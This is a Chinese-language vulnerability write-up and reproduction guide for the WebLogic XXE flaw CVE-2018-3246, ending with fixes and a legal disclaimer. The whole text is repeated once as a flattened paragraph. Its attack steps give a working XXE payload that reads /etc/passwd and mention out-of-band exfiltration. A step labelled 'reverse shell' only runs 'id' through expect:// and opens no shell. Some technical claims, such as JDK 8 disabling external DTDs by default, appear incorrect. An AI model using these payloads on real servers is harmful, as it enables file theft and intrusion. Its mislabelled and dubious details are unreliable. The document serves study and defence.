看我如何在Weblogic里捡一个XXE(CVE-2018-3246)
字数 1234 2025-08-18 11:37:42

Weblogic XXE漏洞(CVE-2018-3246)分析与复现指南

漏洞概述

CVE-2018-3246是Oracle WebLogic Server中的一个XML外部实体(XXE)注入漏洞,存在于WebLogic Test Page组件中。攻击者可以通过构造恶意的XML文件,利用服务器对XML解析的不安全处理,实现任意文件读取或远程代码执行。

漏洞影响

  • 受影响版本:Oracle WebLogic Server 10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3
  • 漏洞类型:XML外部实体注入(XXE)
  • CVSS评分:7.5 (High)

漏洞原理分析

漏洞位于ws-testpage-impl.jar文件中的importWsTestConfig方法,具体路径为/config/import

关键问题点:

  1. 使用Unmarshaller接口解析用户上传的XML文件时未禁用外部实体引用
  2. 在JDK 6/7环境下默认允许外部DTD引用,而WebLogic默认使用这些JDK版本

漏洞代码片段:

public ActionData execute(ActionData actionData) {
    KeyValuesMap formParams = (KeyValuesMap)actionData.get("request_form_data");
    try {
        String fileName = (String)formParams.getFirstValue("import_file_name");
        Unmarshaller Unmarshaller = context.createUnmarshaller();
        TTestConfig tconfig = (TTestConfig)Unmarshaller.unmarshal(new File(fileName));
        // ...
    } catch (Throwable e) {
        // ...
    }
    return actionData;
}

漏洞复现步骤

环境准备

  1. 搭建存在漏洞的WebLogic环境(建议使用JDK 6或7)
  2. 确保WebLogic Test Page组件可用(默认路径:/ws_utc/begin.do

攻击步骤

  1. 访问上传页面

    http://[target]:[port]/ws_utc/begin.do
    
  2. 准备恶意XML文件(以读取/etc/passwd为例):

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE root [
      <!ENTITY xxe SYSTEM "file:///etc/passwd">
    ]>
    <root>&xxe;</root>
    
  3. 上传XML文件

    • 将上述XML内容保存为test.xml
    • 通过上传接口提交文件
  4. 执行XXE攻击

    • 如果环境允许,将直接返回文件内容
    • 如果无法回显,可尝试使用OOB(Out-of-Band)技术外带数据
  5. 反弹Shell(可选)
    构造包含系统命令执行的XML文件:

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE root [
      <!ENTITY xxe SYSTEM "expect://id">
    ]>
    <root>&xxe;</root>
    

漏洞修复方案

  1. 官方补丁

    • 应用Oracle官方发布的最新安全补丁(2018年10月补丁)
  2. 临时缓解措施

    • 升级至JDK 8(默认禁用外部DTD)
    • 禁用WebLogic Test Page组件
    • 配置XML解析器禁用外部实体:
      Unmarshaller unmarshaller = context.createUnmarshaller();
      unmarshaller.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
      unmarshaller.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
      
  3. 网络层防护

    • 在网络边界限制对WebLogic管理端口的访问
    • 部署WAF规则拦截XXE攻击特征

技术细节补充

  1. JDK版本影响

    • JDK 6/7:默认允许外部实体引用,漏洞可被利用
    • JDK 8:默认禁用外部DTD,可有效防御此漏洞
  2. 漏洞利用限制

    • 需要知道上传文件的确切路径
    • 需要服务器有出网权限才能实现OOB数据外带
  3. 漏洞检测方法

    • 发送测试XXE Payload并观察响应
    • 检查服务器日志中的XML解析错误

参考链接

  • Oracle官方安全公告:https://www.oracle.com/security-alerts/cpuoct2018.html
  • 漏洞披露时间线:2018年10月16日由Oracle发布补丁

免责声明

本文仅用于安全研究与教育目的。未经授权对他人系统进行测试或攻击是违法行为。使用者需自行承担由此产生的法律责任。

Weblogic XXE漏洞(CVE-2018-3246)分析与复现指南 漏洞概述 CVE-2018-3246是Oracle WebLogic Server中的一个XML外部实体(XXE)注入漏洞,存在于WebLogic Test Page组件中。攻击者可以通过构造恶意的XML文件,利用服务器对XML解析的不安全处理,实现任意文件读取或远程代码执行。 漏洞影响 受影响版本 :Oracle WebLogic Server 10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3 漏洞类型 :XML外部实体注入(XXE) CVSS评分 :7.5 (High) 漏洞原理分析 漏洞位于 ws-testpage-impl.jar 文件中的 importWsTestConfig 方法,具体路径为 /config/import 。 关键问题点: 使用 Unmarshaller 接口解析用户上传的XML文件时未禁用外部实体引用 在JDK 6/7环境下默认允许外部DTD引用,而WebLogic默认使用这些JDK版本 漏洞代码片段: 漏洞复现步骤 环境准备 搭建存在漏洞的WebLogic环境(建议使用JDK 6或7) 确保WebLogic Test Page组件可用(默认路径: /ws_utc/begin.do ) 攻击步骤 访问上传页面 : 准备恶意XML文件 (以读取/etc/passwd为例): 上传XML文件 : 将上述XML内容保存为test.xml 通过上传接口提交文件 执行XXE攻击 : 如果环境允许,将直接返回文件内容 如果无法回显,可尝试使用OOB(Out-of-Band)技术外带数据 反弹Shell(可选) : 构造包含系统命令执行的XML文件: 漏洞修复方案 官方补丁 : 应用Oracle官方发布的最新安全补丁(2018年10月补丁) 临时缓解措施 : 升级至JDK 8(默认禁用外部DTD) 禁用WebLogic Test Page组件 配置XML解析器禁用外部实体: 网络层防护 : 在网络边界限制对WebLogic管理端口的访问 部署WAF规则拦截XXE攻击特征 技术细节补充 JDK版本影响 : JDK 6/7:默认允许外部实体引用,漏洞可被利用 JDK 8:默认禁用外部DTD,可有效防御此漏洞 漏洞利用限制 : 需要知道上传文件的确切路径 需要服务器有出网权限才能实现OOB数据外带 漏洞检测方法 : 发送测试XXE Payload并观察响应 检查服务器日志中的XML解析错误 参考链接 Oracle官方安全公告:https://www.oracle.com/security-alerts/cpuoct2018.html 漏洞披露时间线:2018年10月16日由Oracle发布补丁 免责声明 本文仅用于安全研究与教育目的。未经授权对他人系统进行测试或攻击是违法行为。使用者需自行承担由此产生的法律责任。